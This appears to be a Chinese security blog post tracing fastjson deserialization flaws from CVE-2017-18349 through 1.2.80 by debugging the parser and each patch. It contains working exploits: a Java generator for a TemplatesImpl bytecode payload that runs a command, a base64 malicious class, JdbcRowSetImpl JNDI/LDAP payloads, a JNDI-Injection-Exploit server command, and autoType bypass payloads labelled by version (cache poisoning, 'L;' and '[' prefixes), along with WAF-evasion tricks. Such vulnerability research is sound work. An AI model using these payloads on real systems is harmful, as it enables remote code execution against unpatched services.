Fastjson反序列化

fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349)

之前虽然也学了fastjson历史漏洞, 也跟着其他师傅的文章调试了一遍, 但大多囫囵吞枣, 也忘得差不多了, 最近又遇到很多fastjson的题目, 打算不看文章, 自己重新过一遍fastjson反序列化的流程, 文中解释与用词可能不太准确, 师傅们轻喷

TemplatesImpl

先看exp

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  
import javassist.CannotCompileException;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.NotFoundException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
  
import java.io.IOException;  
import java.util.Base64;  
  
public class FastjsonWithTemplatesImpl {  
    public static class test {  
  
    }  
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass cc = pool.get(test.class.getName());  
  
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";  
  
        cc.makeClassInitializer().insertBefore(cmd);  
  
        String randonClassName = "n4c1" + System.nanoTime();  
        cc.setName(randonClassName);  
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  
        try {  
            byte[] evilCode = cc.toBytecode();  
            String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);  
            final String EVIL_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
            String payload = "{" +  
                    "\"@type\":\"" + EVIL_CLASS + "\"," +  
                    "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +  
                    "'_name':'a.b'," +  
                    "'_tfactory':{ }," +  
                    "'_outputProperties':{ }" +  
                    "}\n";  
            System.out.println(payload);  
            ParserConfig config = new ParserConfig();  
            Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField); // 允许反序列化非公有属性  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

调试分析

通过调试源码, 可用大致梳理出json字符串解析流程
首先我们可以看见几个非常重要的类, 他们分别扮演了以下角色:

  • json解析器(json paser) ,对应 com.alibaba.fastjson.parser.DefaultJSONParser,
  • 词法分析器(lexer), 主要作用是对各个token进行解析(即字符层面的识别), 通俗的说就是在一长串json字符串中定位出键与值.
  • 反序列化器(deserilizer), 主要作用是反序列化出各个类, 不同的类对应不同的反序列化器, 由json解析器通过ParserConfig来获取. 对于一个JavaBean, 对应的反序列化器是com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer

json解析器 (DefaultJSONParser)包装了词法分析器(lexer), 而反序列化器与json解析器在解析json字符串时互相依赖 (准确地说, json解析器负责解析出反序列化需要的数据, 反序列化器负责使用这些数据来还原出这个对象, 由于json是一个可以嵌套的结构, 因此这一过程往往是交错进行的)

可以去看一下DefaultJSONParser的属性如下图

image.png

反序列化器则定义在ParserConfig
image.png

在本例中, 由于我们传入的基础类是Object.class, 当我们从Object.class开始, json解析器(DefaultJSONParser)拿到Object.class的反序列化器, 开始反序列化. 在此基础上, 开始解析json字符串, 这个工作由DefaultJSONParser发起. 由其包装的词法分析器(lexer)逐字读取并分析, 当词法分析器读到@type时, 发现需要反序列化出来一个类, 获取该类名称为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, 此时DefaultJSONParser获取该类的反序列化器(即JavaBeanDeserializer), 由此反序列化器进行反序列化. 初始化该反序列化器时会读取JavaBean的各种信息并保存起来, 包括setter, Field, getter, 很多师傅所说的对gettersetter方法的要求也就是在这一过程产生的.

拿到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的反序列化器后, 之后的过程交由JavaBeanDeserializer进行, 开始反序列化, 首先是使用默认的构造器创建一个TemplatesImpl的实例, 之后为其逐一添加属性, 此时词法分析器会扫描json字符串中TemplatesImpl类的字段(Field), 并进行添加, 此过程中JavaBeanDeserializer会获取并使用字段反序列化器(FieldDeserializer)来对字段的信息进行识别和反序列化(因为字段也可能是任何类型的对象), FieldDeserializer会尝试调用gettersetter为对应的属性赋值, 本例中恶意字节码加载从此处开始触发, 当读到_outputProperties这个字段时,(这里json中的字符串虽然是_outputProperties, 但是会自动将其识别为outputProperties, 这个过程由smartMatch方法完成), 调用它的getter, 触发恶意类加载.
具体的getter和setter调用过程由FieldDeserializer的setValue方法执行, 当该字段有settter时直接调用setter而不调用getter, 无settter时调用getter尝试获取已经生成的对象中对应字段的引用, 并为其赋值

以上是我对反序列化过程的大致过程的理解, 这些解释是在调试的过程中得出的, 那么就从头来跟一下调试过程吧!

不必多说, 我们遇到的第一个关键步骤就是这里:
image.png

来到这一步时, 程序已经完成了: 通过输入的json字符串, 获取对应的json解析器(其中包含lexer), 通过初始类型(Object.class), 获取其反序列化器, 开始反序列化, this指针将当前的json解析器也传给了反序列化器, 因为反序列化的过程是需要解析json的

跟进

image.png

由于此时我们传入的是Object.class这样一个很宽泛的对象, fastjson首先判断其是否为一个泛型数组, 这是因为如果要反序列化出数组, 那么就可以直接可以将键值对插入到一个Array中, 而若只单单是一个Object.class, 其中不存在任何属性, 无法将得到的属性放进去, 需要后续使用fastjson自己实现的JSONObjcet这个类(一个map)来暂存. Serializable.class也是类似, 并不能实例化后向其中添加属性

继续跟进, 会走到这里
image.png
正如上面的解释, 此时实例了一个JSONObject
来到这一步时, 程序已经完成了: lexer识别到第一个字符{, 实例出JSONObject, 准备解析出json字符串中的数据往里面添加

继续跟进, 来到这一步
image.png
在这里,前面的过程大致就是判断了json格式的正确性, 以及使lexer的指针跳过多余但允许出现的符号(逗号, 注释)
来到这一步时, 程序已经完成了: 扫描出第一个key为@type

继续往下看, lexer会扫描出类的名称, 之后json解析器加载这个类, 通过这个类获取对应的反序列化器, 进行反序列化
注意获取的反序列化
image.png
来到这一步时, 程序已经完成了: 拿到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的反序列化器, 这一过程中, 也已经拿到了字段反序列化器,其中包含了getter, setter 如上图. 师傅们可以自行调试查看过程, 为了不打断连贯性, 这个过程有空放在后面补充

继续跟进到这里
image.png
这个方法的前面是对上下文信息和json格式的判断, 主要看这里的for循环, 先是对已经拿到的FieldDeserilizer进行遍历, 判断其操作的是否为一些基础类型, 当匹配到时, 标记matchField = true;跳过json字符串的扫描, 直接进入后面对属性赋值的过程, 从而使用特定的反序列化方式进而提升效率
这里我们的恶意类有以下三个字段反序列化器, 都不是特殊类型
image.png

这个过程结束后, 就是逐个字段扫描并赋值, 当走到 key为_outputProperties时,
image.png

拿到键名, 进行一些特殊键名的判断, 开始解析
image.png

拿到_outputProperties字段的反序列化器, 开始反序列化字段
image.png
image.png
跟进
通过FieldValue反序列化器拿到值后, setValue赋值
image.png

跟进
触发getter
image.png
如开篇总结所说_outputProperties是一个readonly属性(只有getter), fastjson会尝试调用它的getter获得内部map的引用来为其赋值

JdbcRowSetImpl

package org.example;  
  
import com.alibaba.fastjson.JSON;  
import com.sun.rowset.JdbcRowSetImpl;  
  
public class JdbcRowSetImplPoc {  
    public static void main(String[] args) {  
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ubjazx\", \"autoCommit\":true}";  
        JSON.parse(PoC);  
    }  
}

调试流程与上面一样, 只不过这里使用的是jndi
使用JNDI-Injection-Exploit起一个ldap服务即可

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1

绕过waf

在默认的DefaultJSONParser中有以下行为可能可以用来绕过waf
默认开启允许任意数量逗号

image.png

image.png
skipWhitespace()函数会调用skipComment(); 可以添加注释
image.png

添加注释
image.png

fastjson 1.2.25 反序列化漏洞 对抗checkAutoType的开始

利用缓存绕过黑名单

在此版本中, 上面的exp已经用不了了, 有以下报错

com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze(JavaObjectDeserializer.java:45)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:339)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:302)
	at FastjsonWithTemplatesImpl.main(FastjsonWithTemplatesImpl.java:41)

autoType禁用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类, 也就是@type不允许此类, 我们在报错位置打断点, 看看是哪里出问题了
可以看见断点在了下面这个位置
image.png

这是在ParseConfig中的checkAutoType方法, 上面提到过ParseConfig有一个很重要的作用是用来存放反序列化器, 这里很明显更新后的版本又增加了对需要加载的类的类名的限制, 设置了一个黑名单, 以黑名单中起始的包名都将直接报错
具体黑名单如下

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"

我们往回调, 看看是从哪里调用到了checkAutoType
image.png
如上图, 在json解析器parseObject中进行了调用, 在上个版本中, lexer扫描出类名后会直接loadClass, 这个版本则是用ParseConfig.checkAutoType这个方法来加载类, 这个方法会对需要加载的类进行黑名单判断

这个黑名单涵盖的类算是非常多了, 直接找到一个可用的类比较困难, 我们先来看看checkAutoType是如何工作的

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {  
    if (typeName == null) {  
        return null;  
    }  
  
    final String className = typeName.replace('$', '.');  
  
    if (autoTypeSupport || expectClass != null) {  
        for (int i = 0; i < acceptList.length; ++i) {  
            String accept = acceptList[i];  
            if (className.startsWith(accept)) {  
                return TypeUtils.loadClass(typeName, defaultClassLoader);  
            }  
        }  
  
        for (int i = 0; i < denyList.length; ++i) {  
            String deny = denyList[i];  
            if (className.startsWith(deny)) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
        }  
    }  
  
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);  
    if (clazz == null) {  
        clazz = deserializers.findClass(typeName);  
    }  
  
    if (clazz != null) {  
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {  
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
        }  
  
        return clazz;  
    }  
  
    if (!autoTypeSupport) {  
        for (int i = 0; i < denyList.length; ++i) {  
            String deny = denyList[i];  
            if (className.startsWith(deny)) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
        }  
        for (int i = 0; i < acceptList.length; ++i) {  
            String accept = acceptList[i];  
            if (className.startsWith(accept)) {  
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);  
  
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {  
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
                }  
                return clazz;  
            }  
        }  
    }  
  
    if (autoTypeSupport || expectClass != null) {  
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);  
    }  
  
    if (clazz != null) {  
  
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger  
                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver  
                ) {  
            throw new JSONException("autoType is not support. " + typeName);  
        }  
  
        if (expectClass != null) {  
            if (expectClass.isAssignableFrom(clazz)) {  
                return clazz;  
            } else {  
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
            }  
        }  
    }  
  
    if (!autoTypeSupport) {  
        throw new JSONException("autoType is not support. " + typeName);  
    }  
  
    return clazz;  
}

如果开启了autoType (autoTypeSupport == true), fastjson会先校验白名单, 需要加载的类若在白名单中, 直接加载, 若不在则校验黑名单. 如果即不在白名单中也不在黑名单中, 则进入以下逻辑
image.png

先从一个mapping中获取, 如何为空, 则从deserializers中获取, 如果也为空, 则进入到后面对于没开启autoType的判断逻辑, 我们暂且不看后面, 这里的mapping和deserializers显然是两个map, 是否可用向其中put进恶意的类呢?
先来看TypeUtils.getClassFromMapping的逻辑, 确实是从一个map中get而来

private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1);

image.png

全局查找mappings.put, 有以下几个地方是可能可控的
image.png
后面三个都存在于TypeUtils.loadClass方法中, 代码如下

public static Class<?> loadClass(String className, ClassLoader classLoader) {  
    if (className == null || className.length() == 0) {  
        return null;  
    }  
  
    Class<?> clazz = mappings.get(className);  
  
    if (clazz != null) {  
        return clazz;  
    }  
  
    if (className.charAt(0) == '[') {  
        Class<?> componentType = loadClass(className.substring(1), classLoader);  
        return Array.newInstance(componentType, 0).getClass();  
    }  
  
    if (className.startsWith("L") && className.endsWith(";")) {  
        String newClassName = className.substring(1, className.length() - 1);  
        return loadClass(newClassName, classLoader);  
    }  
  
    try {  
        if (classLoader != null) {  
            clazz = classLoader.loadClass(className);  
            mappings.put(className, clazz);  
  
            return clazz;  
        }  
    } catch (Throwable e) {  
        e.printStackTrace();  
        // skip  
    }  
  
    try {  
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();  
  
        if (contextClassLoader != null && contextClassLoader != classLoader) {  
            clazz = contextClassLoader.loadClass(className);  
            mappings.put(className, clazz);  
  
            return clazz;  
        }  
    } catch (Throwable e) {  
        // skip  
    }  
  
    try {  
        clazz = Class.forName(className);  
        mappings.put(className, clazz);  
  
        return clazz;  
    } catch (Throwable e) {  
        // skip  
    }  
  
    return clazz;  
}

不难发现mappings实际上是对已经加载过的类的缓存. 也就是说, 被加载过的类都会存放在这里, 下次又需要加载的时候, 直接取出来用, 提高效率.
如何把我们的恶意类插入到mappings中呢?

我们返回到之前的调试过程思考: 当json的键为@type时, 它所对应的值(类名)会经过checkAutoType的审查, 但如果此时的恶意类作为一个其他类的Field(同样会被反序列化),或者说它的键名不是@type, 是否会经过checkAutoType呢?
全局搜索TypeUtils.loadClass, 看看除了checkAutoType还有哪里调用
image.png
如上图, 可控的只有四个, 而下面三个都是在checkAutoType中的, 无法利用, 我们聚焦于MiscCodec这个类中, 看一下这个类的定义
image.png

很明显这是一个反序列化器的实现类, 这个反序列化器实现了对一些杂项类的反序列化, 其中包括Class.class:

image.png
对于一个Class.class, 该反序列化器直接调用TypeUtils.loadClass加载strVal, 那我们看一下strVal是什么
往上翻可以找到这个变量的来历
image.png
实际上就是解析json中下一条键为"val"的值, 解析到的值String时, 直接赋值给strVal,
也就是说如果我们构造一个json字符串:

{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
}

虽然checkAutoType禁用了com.sun., 但此时并不经过checkAutoType, com.sun.rowset.JdbcRowSetImpl会被TypeUtils.loadClass直接被加载一次, 然后把这个class缓存到mappings, 下次需要加载时就不经过checkAutoType直接从mappings中get了
于是就有了以下payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/ubjazx",
        "autoCommit":true
    }
}

当然, 也可以

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "b":{
        "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAgTEZhc3Rqc29uV2l0aFRlbXBsYXRlc0ltcGwkdGVzdDsBAApTb3VyY2VGaWxlAQAeRmFzdGpzb25XaXRoVGVtcGxhdGVzSW1wbC5qYXZhDAAEAAUHABMBAB5GYXN0anNvbldpdGhUZW1wbGF0ZXNJbXBsJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAZRmFzdGpzb25XaXRoVGVtcGxhdGVzSW1wbAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAE240YzE0NTY4MDc2MjAwNjUxMDABABVMbjRjMTQ1NjgwNzYyMDA2NTEwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAARAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],        "_name":"a.b",
        "_tfactory":{ 
        },
        "_outputProperties": {
        }
    }
}

这个方法通杀1.2.25-1.2.47版本, 在AutoType默认不开启时可用

AutoType开启时的绕过 利用字符前缀

当AutoType开启时(AutoTypeSupport == true), 还有另一种绕过手法, 我们回去看checkAutoType的逻辑, 当开启AutoTypeSupport或设置了期望类型时, 会走到这一步, 直接调用了loadClass
image.png

但在这之前是过了一次黑名单的, 为了绕过黑名单, 在loadClass中有以下操作:
image.png

当类名以L开头;结尾时, 去掉这两个字符然后loadClass, 注意此时是递归调用的, 因此可用有很多层L开头;结尾去包裹恶意类, 都是可用正常解析的, 同理[开头也有此操作
因此当开启了AutoType时, 有以下payload

{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

而对于[如果直接使用[com.sun.rowset.JdbcRowSetImpl会报错:

{"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:669)
	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:177)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
	at com.alibaba.fastjson.JSON.parse(JSON.java:137)
	at com.alibaba.fastjson.JSON.parse(JSON.java:128)
	at FastjsonWithJdbcRowSetImpl.withAutoTypeSupportAttackVersion_1_2_25(FastjsonWithJdbcRowSetImpl.java:41)
	at FastjsonWithJdbcRowSetImpl.main(FastjsonWithJdbcRowSetImpl.java:10)

打断点看看哪里出错了
image.png
在扫描完类名后需要一个[, 而当前的token是16(可用点进去看, 16代表逗号,), 那我们在逗号前加[即可
之后又会报错
image.png
那再加一个{来规避这个报错
最后payload就是这样

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

当然也可以尝试之前的TemplatesImpl

经过尝试: 对于使用L ;绕过, 1.2.43版本中被修复了, 但这个版本依然可以使用{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}这个payload, 直到1.2.44被修复

梳理出payload适用版本:

fastjson < 1.2.43

{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

fastjson < 1.2.44

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

1.2.25 <= fastjson < 1.2.48

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/ubjazx",
        "autoCommit":true
    }
}

我们来看一下这三个版本是怎么修复的

fastjson 1.2.42的修复

其实在1.2.42版本中对于L ;绕过已经修复过一次了
版本改到1.2.42, 使用Lcom.sun.rowset.JdbcRowSetImpl;这个类名去打
直接去看TypeUtils.loadClass
image.png
可以看见先对className的第一个字母和最后一个字母做了一次哈希, 如果值为0x9198507b5af98f0L则切割掉这两个字符, 很明显就是不允许类名前面为L后面为;
这个版本切割得到的类名也不再是在明文的黑名单中去比较, 而是改成了哈希值列表denyHashCodes

0 = -8720046426850100497
1 = -8109300701639721088
2 = -7966123100503199569
3 = -7766605818834748097
4 = -6835437086156813536
5 = -4837536971810737970
6 = -4082057040235125754
7 = -2364987994247679115
8 = -1872417015366588117
10 = -190281065685395680
9 = -254670111376247151
11 = 33238344207745342
12 = 313864100207897507
13 = 1203232727967308606
14 = 1502845958873959152
15 = 3547627781654598988
16 = 3730752432285826863
17 = 3794316665763266033
18 = 4147696707147271408
19 = 5347909877633654828
20 = 5450448828334921485
21 = 5751393439502795295
22 = 5944107969236155580
23 = 6742705432718011780
24 = 7179336928365889465
25 = 7442624256860549330
26 = 8838294710098435315

把我们的Lcom.sun.rowset.JdbcRowSetImpl;净化为com.sun.rowset.JdbcRowSetImpl再hash后去在中查找, 很明显denyHashCodes中是有这个类对应的hash值的, 但是这样的过滤无济于事, 前面说过, loadClass在处理L ;时是递归的, 这里双写或者多加几层就绕过去了

{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

还有这个denyHashCodes列表, 在网上也有大牛进行了爆破, 参考

fastjson-blacklist

fastjson 1.2.43的修复

这个版本对前面的双写又进行了修复
版本改到1.2.43, 直接去看TypeUtils.loadClass
image.png

在checkAutoType又中添加了一层判断, 在出现L开头, ;结尾的情况下, 出现LL开头就抛出错误, 这样就不能多层L ;绕过了. 但是别忘了, 我们还可以嵌套一层[来绕过

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

或者

{"@type":"[Lcom.sun.rowset.JdbcRowSetImpl;"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}

fastjson 1.2.44的修复

同样地, 拿上个版本的payload去打, 看看怎么回事
image.png
很明显这里不让[开头了, 第907行也不让;结尾了, 这条路算是堵死了, 当然了, 这个版本我们依然可以使用上面的缓存机制绕过

fastjson 1.2.48的修复

在这个版本我们依旧尝试之前的缓存绕过来打, 看看报什么错, 由于可控的mappings.put是在TypeUtils.loadClass中的, 我们把断点打在loadClass中,
image.png
如上图. 可以看见这里加了一个参数cache默认为false, 不进行缓存, 往回调看前一个调用栈
image.png
cache的值是写死在MiscCodec类中的, 导致不缓存加载过的危险类

fastjson 1.2.68 期望类利用(AutoCloseable)

在1.2.48中已经修复了缓存机制的绕过, 而在1.2.68中又爆出了新的利用方式, 利用expectClass
实现了java.lang.AutoCloseable接口的类可以被反序列化

为什么java.lang.AutoCloseable的实现类会被利用?
一些文件操作的类是实现了java.lang.AutoCloseable接口的, 在浅蓝师傅的文章中提到可以去挖掘文件操作的类作为新的gadget:

fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路

本篇只讨论fastjosn本身的绕过, 不研究gadget(懒..

这里用下面的demo来测试

public static String AttackVersion_1_2_68(String cmd) {  
    String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"EvilClass.VulAutoCloseable\",\"cmd\":\"" + cmd + "\"}";  
    System.out.println(poc);  
    return poc;  
}
package EvilClass;  
  
public class VulAutoCloseable implements AutoCloseable {  
    public VulAutoCloseable(String cmd) {  
        try {  
            Runtime.getRuntime().exec(cmd);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    @Override  
    public void close() throws Exception {  
  
    }  
}

java.lang.AutoCloseable存在于默认的mapings中, 所以能够通过checkAutoType的检查,
json解析器通过java.lang.AutoCloseable获取对应的反序列化器为一个JavaBeanDeserializer(config.getDeserializer的逻辑是经过一系列判断后还未找到与其对应的反序列化器时, 就构造一个JavaBeanDeserializer, 即使这个类并不是一个JavaBean), JavaBeanDeserializer解析到后面的@type, 拿到对应的类名EvilClass.VulAutoCloseable , 又会尝试去获取EvilClass.VulAutoCloseable的反序列化器, 在此之前会对此类名进行checkAutoType检查, 此时会将java.lang.AutoCloseable作为期望类传入, 但这个版本AutoType会校验EvilClass.VulAutoCloseable和期望类, 具体如下:

期望类不能是下面几种:
(可以看见这里是没有禁用java.lang.AutoCloseable)

Object.class  
Serializable.class  
Cloneable.class  
Closeable.class  
EventListener.class  
Iterable.class  
Collection.class 

EvilClass.VulAutoCloseable不能实现以下接口(或类继承)

java.lang.ClassLoader.class // classloader is danger  
javax.sql.DataSource.class // dataSource can load jdbc driver  
javax.sql.RowSet.class

由于很多jndi的利用类都是实现了javax.sql.DataSource.classjavax.sql.RowSet.class, 这里的限制就导致了很难再进行jndi注入了

我们还是跟踪代码过一遍调试
前面的不必多说, 从DefaultJSONParser解析出java.lang.AutoCloseable开始
image.png
java.lang.AutoCloseable进行checkAutoType检查, 跟进
java.lang.AutoCloseable是存在于默认的mappings中的(也就是我们再之前利用缓存绕过的那个mappings)

image.png

从mappings中拿到class, 在1374行返回
回到DefaultJSONParser, 往下走, 拿到其反序列化器, 是一个JavaBeanDeserializer, 跟进反序列化
image.png

再跟进, 后面json字符串扫描过程和之前一样的, 依旧是扫描到@type的值后再checkAutoType, 再尝试获取反序列化器
image.png
注意此时对EvilClass.VulAutoCloseable进行checkAutoType时传入了期望类AutoCloseable 跟进
这里有期望类的黑名单
image.png

在这里, 我们的自定义的类被加载
image.png

再往下, 对被check的类做了一些检查, 不能继承黑名单中的接口或类, 且需要继承期望类
image.png
通过检查后, 返回到json解析器, 之后就是拿到反序列化器进行反序列化的过程了, 最终就是和之前一样, 调用构造器实例化这个类, 然后调用它的getter和setter为其添加属性

此利用方式在1.2.69被修复, 修复方式就是黑名单, 并且这次对期望类的黑名单也改为了哈希
image.png

fastjson 1.2.80 期望类利用(异常类Throwable)

1.2.68的修复方式简单粗暴,将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable。

触发过程和之前的一样AutoCloseable一样, 困难点就是在于寻找对应的gadget了

fastjson 1.2.80 期望类利用(Exception)

依旧困难点是在于寻找对应的gadget了, 最近的京麒2025在最新版本1.2.83也是利用的这个期望类

参考链接

y4er.com# fastjson 1.2.80 漏洞分析
b1ue.cn# fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路
https://mp.weixin.qq.com/s/l1J4cGfqI_SssGKML7-z3w

posted @ 2025-05-31 01:34  n4c1  阅读(87)  评论(0)    收藏  举报